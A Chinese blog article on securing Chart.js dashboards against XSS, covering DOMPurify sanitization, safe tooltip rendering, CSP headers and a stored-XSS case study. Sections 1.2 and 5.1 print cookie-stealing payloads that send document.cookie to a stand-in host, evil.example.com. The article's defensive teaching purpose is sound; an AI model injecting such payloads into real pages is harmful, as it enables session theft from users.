☰
Chart.js安全加固:从XSS防护到生产环境落地实践
2026/10/20 17:53:06 网站建设 项目流程

Chart.js 是我在数据可视化项目里用得最频繁的图表库,轻量、文档清晰、社区生态也完整。但直到有一次做安全评审,我把一个仪表盘项目的所有前端依赖过了一遍,才发现一个长期被忽视的问题:Chart.js 相关的安全实践,团队里几乎没人认真做过。大家默认它是纯 canvas 渲染,以为"画出来的东西总不至于能攻击用户吧",可实际上,图表只是载体,真正危险的是围绕图表展开的数据链路:labels 来自用户输入、tooltip 经过回调拼接、数据从接口返回后被直接填充进配置项。只要其中某一个环节没有处理,XSS 攻击就能顺着图表渲染流进页面。这篇文章就是我把 Chart.js 从"能用"到"敢在生产环境用"的一系列安全加固实践,覆盖 XSS 防护、数据保护、攻击复现与排查实录,适合团队成员在接仪表盘、报表、数据可视化需求时直接参考。

1. 为什么图表库会变成XSS的跳板

XSS(跨站脚本攻击)的本质,是攻击者把一段可执行代码伪装成普通数据,让受害者的浏览器在页面的安全上下文里执行它。一旦执行成功,攻击者就能读取 cookie、localStorage,可以模拟用户发起请求,也可以把页面内容篡改成钓鱼页面。传统上我们防 XSS 的时候,盯得最多的是搜索框、富文本编辑器、评论区这些"明摆着"的输入口,图表库往往不在清单里。可现实是,现代 BI 系统、数据大屏、管理后台,几乎每个页面都有图表,而图表的输入来源相当复杂:用户自定义的指标名、第三方接口返回的业务字段、URL 参数里的筛选条件,甚至 localStorage 里的偏好设置。只要这些数据最终被写进图表配置,它就是 XSS 的候选入口。

这里要澄清一个认知误区:Chart.js 的主渲染是在 canvas 上完成的,canvas 绘制文字和图形时确实不会解析 HTML,所以轴的刻度、柱状图上的数字,天然是安全的。但一个完整图表的呈现远不止 canvas 这一层,tooltip 浮层是用 DOM 元素盖在 canvas 上方实现的,图例、标题也可以通过插件或回调来生成 HTML。这些位置一旦拼接了未净化的字符串,就相当于把攻击者的脚本直接交到了浏览器的 HTML 解析器手里。

1.1 Labels是天然的用户输入入口

在业务场景里,labels 经常不是纯固定数据。比如电商后台的销售报表,渠道来源名称可能是运营人员手工录入的;又比如设备监控大屏,设备名称来自设备厂商的 API。这些数据的特点是:不可预测、可包含任意字符。攻击者如果想要对一个看板发起存储型 XSS,最常见的操作就是在一个"名称"字段里塞进包含 HTML 标签的字符串。为什么名称字段这么容易被选中?因为它一定会被展示,而且展示逻辑往往只是简单地把字符串塞进图表。

我见过一个真实的案例,某平台允许用户给自定义图表命名,名称会显示在图表标题和图例里。攻击者提交了一个名称,内容是<img src=x onerror=...>形式的 payload。因为这个名称在后端被原样存储、前端被原样消费,其他用户打开共享面板时,那段代码就在图例渲染的过程中被当成 HTML 处理。虽然 canvas 上的图例文本不会中招,但如果图例生成逻辑里存在 innerHTML 拼接,或者第三方插件用 HTML 渲染图例,结果就完全不一样了。所以,无论你用的是哪个图表库,labels 都应该被当作不可信输入对待。

1.2 Tooltip与Callback是真正的高危区域

和 canvas 上的刻度不同,Chart.js 的 tooltip 浮层是真实存在页面里的 DOM 节点。用户把鼠标移到数据点上,浮层弹出,展示对应的 label 和数值。这部分内容的渲染逻辑,很多开发者会自定义:比如给数字加千分位分隔、在 label 后面追加单位、把状态字段转成带颜色的徽标。为了方便,大家通常直接在回调里写模板字符串,再把整个返回值交给 Chart.js。

问题就出在这个"直接返回"上。Chart.js 在组装 tooltip 内容时,会把你返回的字符串放进浮层对应的位置,浮层的构建过程在多数版本里都涉及 HTML 字符串操作。攻击者如果能控制 label、dataset 名称或者回调中参与拼接的任何一个字段,就有机会闭合标签、植入事件属性,甚至注入完整的 script。比如这样一段数据:

const rawLabel = `</div><img src=x onerror="fetch('https://evil.example.com/c?d='+document.cookie)">`;

如果它被当作 label 进入 tooltip 回调,并且回调返回时没有做任何处理,那么当其他用户悬浮到对应数据点上时,脚本就会执行。这类攻击最阴的地方在于触发时机不稳定:不是页面加载就触发,而是等到用户与图表交互时触发,例行扫描很难发现。

1.3 容易被忽略的自定义插件风险

Chart.js 的插件机制很强大,社区里常见的 datalabels、annotation、zoom 等插件,以及团队内部自己写的一些"给柱状图加顶部标签"之类的小插件,都会在渲染过程中接收回调返回的字符串。canvas 场景下插件如果用 fillText 绘制,是安全的;但有些插件为了省事,直接创建 DOM 节点,把 formatter 的返回值通过 innerHTML 塞进去。这类插件本身不一定有安全设计,开发者使用时也很少去查它的渲染方式。

更隐蔽的一种情况是:插件把 callback 当作普通函数调用,却没想到使用者会在 callback 里把数据直接拼成模板字符串。Chart.js 官方文档一直强调 callback 应该返回纯文本,但实际上"能跑就行"的代码里返回 HTML 的比比皆是。所以如果你在团队里推进图表安全,不能只盯着 Chart.js 本体,还要把插件列表拉出来,逐个确认它的渲染机制和回调用法。

2. 第一道防线:输入数据的清洗与校验

理解了攻击面之后,就该说怎么防。防御 XSS 的核心原则只有一个:永远不要信任任何外部输入。这个原则落到 Chart.js 场景里,就是先在数据进入图表之前,把不安全的成分清理掉。清理不是只做一次,而是要在数据流的每个关键节点都做一遍。

2.1 前后端各做一层,别只在前端防御

我见过不少团队的做法是"后端不管,前端用一个 sanitize 函数过滤一下就算完"。这个思路有一个致命问题:前端清洗只对当前页面生效,攻击者完全可以绕过前端,直接向后端接口提交恶意数据。也就是说,前端清洗做得再好,也只是降低了存储型 XSS 在一次正常访问路径上的暴露程度,根本问题——数据库里存着恶意内容——并没有解决。

正确的姿势是前后端联动。后端在接收数据时,要对字段做类型校验、长度限制、字符集限制,并且对明显可疑的内容(例如包含<script>、onerror=、javascript:等模式)做强校验。前端也不能因为后端做了就把清洗省掉,因为前端还要面对第三方接口返回的数据、URL 参数拼接的数据,这些数据根本没有经过你的后端,前端清洗是唯一的机会。所以,后端清洗解决"脏数据入库",前端清洗解决"脏数据上线",两层职责不同,缺一不可。

2.2 用DOMPurify而不是自己写正则

HTML 清洗这件事,千万不要自己写正则。HTML 的解析规则复杂到让人绝望:属性可以不用引号、标签可以嵌套混淆、大小写可以随意组合,各种编码绕过手段层出不穷。你辛辛苦苦写出来的正则,可能被一个<svg/onload=...>就击穿了。业界沉淀下来的方案是 DOMPurify,它通过真实的 DOM 解析来识别并移除危险内容,而不是靠字符串匹配。DOMPurify 的兼容性和更新频率都很稳定,也是我个人在所有前端项目里处理用户生成 HTML 时的唯一选择。

用法很简单:

import DOMPurify from 'dompurify'; const dirty = '<img src=x onerror="alert(1)">'; const clean = DOMPurify.sanitize(dirty); // clean: ''

如果你的场景需要保留一部分安全的富文本(比如加粗、链接),可以通过配置开放白名单:

const clean = DOMPurify.sanitize(dirty, { ALLOWED_TAGS: ['b', 'strong', 'em', 'a'], ALLOWED_ATTR: ['href', 'target', 'rel'] });

这里有一个容易忽略的细节:href属性即使保留,也要注意javascript:协议。DOMPurify 默认会拦截危险协议,但如果你用了自定义配置,最好再额外校验一次href的协议白名单。另外,DOMPurify 依赖可用的 DOM,在小程序、Node 等非浏览器环境里需要搭配 jsdom 或在服务端链路用配套方案,这一点在集成时要提前确认。

2.3 数据结构也要做白名单校验

很多 XSS 攻击不只是靠 HTML 标签,还会利用数据类型混乱来绕过检查。比如接口返回的 labels 字段被攻击者换成了数组,里面元素的 toString 结果可能和预期完全不一样。所以除了清洗字符串内容,还要对数据的结构本身做约束。

以我的习惯为例,我会在图表数据进入配置之前写一个校验函数,把每类字段限制成明确类型:

function normalizeChartData(input) { if (!input || typeof input !== 'object') { throw new Error('图表数据格式错误:期望对象'); } const labels = Array.isArray(input.labels) ? input.labels : []; const datasets = Array.isArray(input.datasets) ? input.datasets : []; return { labels: labels.map(item => String(item).slice(0, 200)), datasets: datasets.map(ds => ({ label: typeof ds.label === 'string' ? ds.label.slice(0, 200) : '', data: Array.isArray(ds.data) ? ds.data.map(v => Number.isFinite(Number(v)) ? Number(v) : 0) : [] })) }; }

这个函数做了几件事:保证 labels 一定是字符串数组、限制最大长度、把数值字段强制转成数字、对非法值给出兜底。这样一来,攻击者想通过数组、对象、符号等特殊类型混入数据,就直接被挡在门外。注意这里的slice(0, 200)不是随意定的,长度限制可以显著压缩 payload 的构造空间,让很多复杂攻击脚本根本没有地方展开。

3. 第二道防线:Chart.js配置层面的加固

输入清洗是"让数据干净地进入图表",但还有一个层面是"让图表本身不那么容易被利用"。Chart.js 提供了很多开放能力,比如自定义 tooltip、回调函数、HTML 模式等,这些能力在带来灵活性的同时,也把渲染控制权交给了开发者。如果业务上不需要这些能力,最稳妥的做法是从配置层面直接抑制。

3.1 能关掉的HTML能力尽量关掉

Chart.js 默认配置里,tooltip 虽然绘制文字时用的是 canvas 的安全路径,但浮层内容在部分版本和插件组合下仍然可能走 HTML 渲染。如果你确定业务只需要展示纯文本,那就让所有回调都只返回字符串,并明确不在任何配置项里启用 HTML 渲染模式。这里尤其要检查第三方插件,比如chartjs-plugin-datalabels,它的 formatter 返回值如果被开发者直接写成<span style="...">...</span>这类 HTML,且该插件走 DOM 注入,就会形成攻击面。

对于必须要实现富文本提示的场景,我建议改走tooltip.external自定义渲染。在这个模式下,你完全掌控浮层的 DOM 构建逻辑,可以强制用textContent而不是innerHTML来填充用户数据:

options: { plugins: { tooltip: { enabled: false, external: (context) => { const tooltipEl = document.getElementById('custom-tooltip'); if (!tooltipEl) return; const data = context.tooltip.dataPoints?.[0]; // 强制使用 textContent,彻底避免 HTML 解析 tooltipEl.textContent = data ? `名称:${data.label},数值:${data.formattedValue}` : ''; } } } }

这里即使 Chart.js 的 tooltip model 中dataPoints[0].label是未净化的,textContent也只会原样显示文本,浏览器不会把它解析成标签。攻击者写入<img onerror=...>,最终显示出的只是一串字符,脚本无法执行。这是我最推荐的方式:与其去猜某个版本、某个插件内部到底怎么处理字符串,不如直接把渲染出口握在自己手里。

3.2 Callback返回值统一二次过检

有些场景必须用回调,比如 axis 的 tick 回调、legend 的生成回调、tooltip 的 label 回调。回调本身没有错,错的是把未净化的数据直接作为返回值。我的习惯是做一个统一的 sanitize 包装器,让回调永远只经过两件事:第一,把数据用 String 转换;第二,用 DOMPurify 或严格的过滤函数清洗。

function safeLabel(input, maxLength = 100) { const str = String(input ?? '').slice(0, maxLength); return DOMPurify.sanitize(str, { ALLOWED_TAGS: [] }); } const chartConfig = { options: { plugins: { tooltip: { callbacks: { label: (context) => { return safeLabel(context.dataset.label) + ':' + safeLabel(context.raw); } } } } } };

注意ALLOWED_TAGS: []表示只允许文本,任何标签都会被剥掉。如果你的表格要支持有限的格式,就单独维护一个精致白名单,而不是"什么都放行再靠后面拦"。回调在开发阶段特别容易被忽略,因为很多时候图表显示已经正常,你不会想到去检查回调拼接的字符串里是否藏着脚本。建议在代码评审时把"所有 Chart.js 回调的返回值是否经过净化"作为一条硬性检查项。

3.3 一套可以直接用的安全配置模板

说了这么多理论,直接给一套我目前在项目中使用的基线配置。它不一定适合所有场景,但作为起点足够了:

import DOMPurify from 'dompurify'; function sanitizeText(input) { return DOMPurify.sanitize(String(input ?? ''), { ALLOWED_TAGS: [] }); } export function createSafeChartConfig(extra = {}) { const baseConfig = { responsive: true, interaction: { intersect: false, mode: 'index' }, plugins: { legend: { labels: { generateLabels: (chart) => { const defaults = Chart.defaults.plugins.legend.labels.generateLabels.call( Chart.defaults.plugins.legend.labels, chart ); return defaults.map(item => ({ ...item, text: sanitizeText(item.text) })); } } }, tooltip: { callbacks: { title: (items) => items.map(item => sanitizeText(item.label)), label: (context) => sanitizeText(context.dataset.label) + ':' + sanitizeText(String(context.raw)) } } } }; return { ...baseConfig, ...extra, plugins: { ...baseConfig.plugins, ...extra.plugins } }; }

这套配置做了三件事:图例文本统一清洗、tooltip 回调统一清洗、给外部扩展留出口。如果你是在有 ESLint 的团队,还可以加一条规则,禁止回调里直接出现innerHTML或者模板字符串包裹 HTML 标签的写法,从编码规范层面把风险挡住。配置模板看起来简单,但它的意义在于把一个团队里的"默认安全"变成标准动作,而不是依赖每个人自觉。

4. 第三道防线:数据链路保护

XSS 只是图表安全问题的一部分。图表使用的数据本身往往也是敏感的:销售金额、用户量、设备状态、运营指标。这些数据从后端接口出来,经过浏览器渲染到屏幕上,任何一环泄露都可能导致业务损失。所以数据保护要和 XSS 防护一起做,而且同样要覆盖整条链路。

4.1 接口层:鉴权、限流和字段最小化

前端图表的数据来源绝大部分是 API。API 层面最容易犯的错误是:为了前端渲染方便,把整个数据库字段直接吐给前端。比如一个图表接口返回了所有用户明细,前端只需要统计每个月的注册数,这就不合理。正确的做法是字段最小化,接口只返回图表真正需要的字段:日期、分类、数值。额外的关联表、内部字段、个人可标识信息一律不返回。这样即使前端被 XSS 攻破,攻击者能偷到的数据范围也小得多。

鉴权和限流也不能省。图表接口通常具备"按需请求"的特点,很容易被攻击者当作数据爬取入口。如果某个图表只面向登录用户,接口就必须校验会话和角色权限;如果某个图表的查询特别重,就应该加限流,防止被恶意刷爆拖垮数据库。这些东西和 Chart.js 本身无关,但却是"保护数据"里最关键的一环。我给团队做评审时,默认会把所有图表接口按"最小权限 + 限流 + 审计日志"三件套来要求,缺一不可。

4.2 传输链路:HTTPS、CSP与响应头

接口数据在浏览器和服务器之间传输,如果走明文 HTTP,任何时候都可能被中间人截获或篡改。生产环境必须全链路 HTTPS,这个没什么可讨论的。除了 HTTPS,CSP(内容安全策略)是防 XSS 的又一道重要闸门。CSP 可以限制页面能够加载和执行哪些来源的脚本、样式和其他资源,即使攻击者成功注入了脚本,CSP 也可能直接阻止它执行。

一个针对图表场景的基线 CSP 示例:

Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; style-src 'self' 'unsafe-inline'; img-src 'self' data:; connect-src 'self' https://api.example.com; object-src 'none'; base-uri 'self'

这里style-src里的'unsafe-inline'是因为 Chart.js 的 tooltip 浮层在渲染时可能要设置内联样式,如果你把该项收紧,需要确认图表功能是否受影响。connect-src只放行自己的 API 域名,这样即使前端被注入代码,脚本想往外发数据也会被 CSP 拦下。CSP 不是银弹,配置不当还会导致线上功能异常,所以上线前要在灰度环境充分验证。

其他响应头也要顺手配上:X-Content-Type-Options: nosniff防止 MIME 类型嗅探,Referrer-Policy控制 referer 泄露,X-Frame-Options或frame-ancestors防止页面被恶意嵌套。这些都是传输链路的基本功,但很多团队只在安全审计时才想起来补。

4.3 敏感数据脱敏与前端缓存清理

图表数据到了前端之后,还有两个细节容易被忽略:一个是脱敏,一个是缓存。以用户画像报表为例,图表展示的是年龄段分布,但接口返回的原始数据里可能包含用户手机号、邮箱等字段。就算前端只拿其中一部分渲染,浏览器的网络面板里也能看到全部返回体。所以后端的实际情况是:图表接口干脆就别返回这些字段,后端统计好结果再返回给前端,这才是数据最小化的落地方式。如果实在无法避免,至少要对敏感字段做脱敏处理,比如手机号只保留前三后四。

前端缓存方面,很多团队习惯把接口返回的数据放进 localStorage 或全局变量,方便切换筛选条件时秒开。问题是 localStorage 是全站可读的,任何一个页面上的 XSS 漏洞都可能把 token、cookie 和这些缓存数据一起偷走。对于图表数据这种偏重、敏感的上下文,我更推荐只用内存缓存(比如模块级变量),并且避免把原始返回体原样缓存,缓存前先做字段裁剪。定期刷新时通过校验数据版本号来保证一致性,而不是长期依赖本地缓存。

5. 实战复盘:一次XSS注入攻击的完整对抗

讲理论不如走一遍流程。下面用我在某数据可视化平台项目中实际遇到过的案例来复盘一次存储型 XSS 从构造到防护的全过程。为避免敏感信息,这里项目名和细节都做了脱敏处理,但攻击路径是真实的。

5.1 攻击Payload是怎么构造出来的

场景是这样的:平台允许用户创建共享仪表盘,每个图表可以设置"指标备注",备注会展示在 tooltip 里,方便查看数据的同事理解口径。备注是用户输入字段,后端只做了长度限制,前端直接放进 Chart.js 配置。攻击者发现这个字段可以用 HTML 标签,于是构造了这样一个备注:

</div><img src=x onerror="new Image().src='https://evil.example.com/collect?token='+encodeURIComponent(document.cookie)">

这个 payload 的思路很直接:先用</div>闭合 Chart.js tooltip 里原有的 DOM 结构,然后创建一个图片标签,onerror事件触发时把当前用户的 cookie 通过图片请求发往第三方域名。因为 tooltip 浮层本身就是被拼接到页面 DOM 里的,所以这段 HTML 在鼠标悬浮到某个数据点时会被实际解析执行。用户 cookie 一旦泄露,攻击者就可以假冒用户身份调用平台 API,拉取更多数据甚至执行修改操作。

5.2 加固前后效果对比

我整理了一下这个案例加固前后的表现:

阶段攻击是否成功关键原因
加固前可以成功备注原样入库,前端直接消费,tooltip 拼接 HTML
后端加校验后数据无法入库后端检测到<img/onerror等危险模式直接拒绝
前端加清洗后攻击可存活但无法执行DOMPurify 把事件属性剥掉,脚本无法触发
再叠加CSP后即使脚本注入也被拦截CSP 禁止向外部域名发图片请求

这里有个值得注意的点:前端清洗虽然让攻击"无法执行",但恶意字符串仍然被渲染成文本显示在 tooltip 里,用户会看到一串奇怪的代码。所以最佳效果还是在后端就拦住,前端清洗属于纵深防御的最后一道闸门。

5.3 从攻击路径反推防御策略

这条攻击链一共有四个关键环节:攻击者提交 payload、后端原样存储、前端原样消费、tooltip 拼接渲染。四个环节只要有任何一个做了防御,攻击就不会成功。所以我们在项目里把这四个环节都加了措施:

  • 提交环节:后端对"指标备注"做类型和内容校验,阻断危险模式提交。
  • 存储环节:对需要支持富文本的场景,存储前使用服务端清洗逻辑,尽量只保留白名单标签。
  • 消费环节:前端拿到接口数据后统一经过 sanitize 再进图表配置。
  • 渲染环节:Chart.js tooltip 改用 external 自定义渲染,用 textContent 写入内容。

防御层数多了以后,虽然不能保证"绝对没有漏洞",但攻击者要同时绕过四道关卡的概率已经低到可以忽略。这也是安全领域常说的纵深防御:不要依赖单一防线,每一层都假设前面的层可能被击穿,然后尽力把破坏范围控制在最小。

6. 常见问题排查与避坑实录

最后分享一些我在实际踩坑中总结出来的排查思路和常见问题。图表安全这个 topic 最麻烦的不是方案本身,而是出了问题很难定位:图表一切正常、数据也没报错,但用户 cookie 就这么没了。所以有几个信号出现时,你要第一时间往安全的方向想。

6.1 问题速查表

现象可能原因解决建议
tooltip 里出现可点击的链接或图片回调返回值未净化且进入了 innerHTML 路径改为 textContent 渲染或 DOMPurify 清洗
图表标题/图例显示成[object Object]数据结构校验把类型处理失误检查 normalize 函数的映射逻辑
页面控制台报 CSP 违规配置了 CSP 但放行范围不全按实际资源域名调整 script-src / connect-src
某些用户的图表显示空数据后端字段校验太严格,把合法业务数据拦截校验规则先灰度验证再加严
图表加载变慢接口返回了过大的数据集,前端又要做清洗后端做聚合统计,前端只接收必要字段
攻击者提交了 HTML 但图表不渲染后端或前端清洗生效了确认清洗逻辑是否拦截了预期模式

6.2 排查一条疑似XSS链路的思路

如果你怀疑某个图表已经中招,不要慌,按顺序做这几步:第一,在浏览器开发者工具里把渲染图表的真实 DOM 拉出来,看一下 tooltip 浮层对应的节点里是否有攻击者写入的标签;第二,在接口层用浏览器自带的编辑工具临时把数据替换成带<img onerror>的 payload,看页面是否触发网络请求,这能确认渲染路径是否可被利用;第三,用 fetch 拦截或者代理工具确认接口返回的原始字段里是否包含未净化的 HTML;第四,把问题上报后,优先通过后端加校验止血,前端再加清洗兜底。这个顺序是从"确认存在"到"缩小范围"再到"修复止损"的标准流程。

我在实际排查中还发现一个常见的隐蔽问题:部分团队使用了版本很旧的 DOMPurify,而老版本存在已知绕过方式。安全库一定要跟着更新走,不能因为"已经依赖它了"就不升级。最好在依赖清单里对安全相关库配置专门的定期检查和升级计划。

6.3 我的几条经验和习惯

第一,把"默认不安全"当成常态来写代码。任何外部数据进入图表之前,都默认它可能包含攻击 payload,先清洗再使用。这不是多疑,而是数据可视化项目的基本素养。

第二,写图表代码时用规则约束自己。比如回调统一走 sanitize 包装函数,禁止直接return外部字符串;再比如能用textContent就不碰innerHTML和outerHTML。规则一旦变成团队标准,就不需要每次评审都盯着看,工程效率也能提上来。

第三,重视版本升级。Chart.js 自身的历史版本里出现过与 HTML 渲染相关的安全问题,官方在后续版本中做了修复和收敛。生产项目不要长期锁定老版本,至少要关注重大版本的安全发布说明,该升级就升级。

第四,安全不是一次性工作。接口字段会变、插件会换、业务会加新功能,图表的安全边界也要跟着迭代。我习惯在每个迭代的检查清单里放一条"是否新增了未经清洗的外部数据进入图表"的自查项,花不了两分钟,但能避免很多事后补救的麻烦。

最后说一点我自己的体会。图表安全这件事,听起来像是安全工程师的职责,但实际上,一个图表库用得好不好、安不安全,取决于写业务代码的前端工程师有没有在每条数据进入图表之前多想一步。我在多个项目里复盘过 XSS 事故,绝大多数都不是因为攻击者水平多高,而是因为某个环节少了一道清洗、某个回调直接返回了外部字符串。只要你愿意把这类检查变成自己的代码习惯,图表安全就没有想象中那么玄乎。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询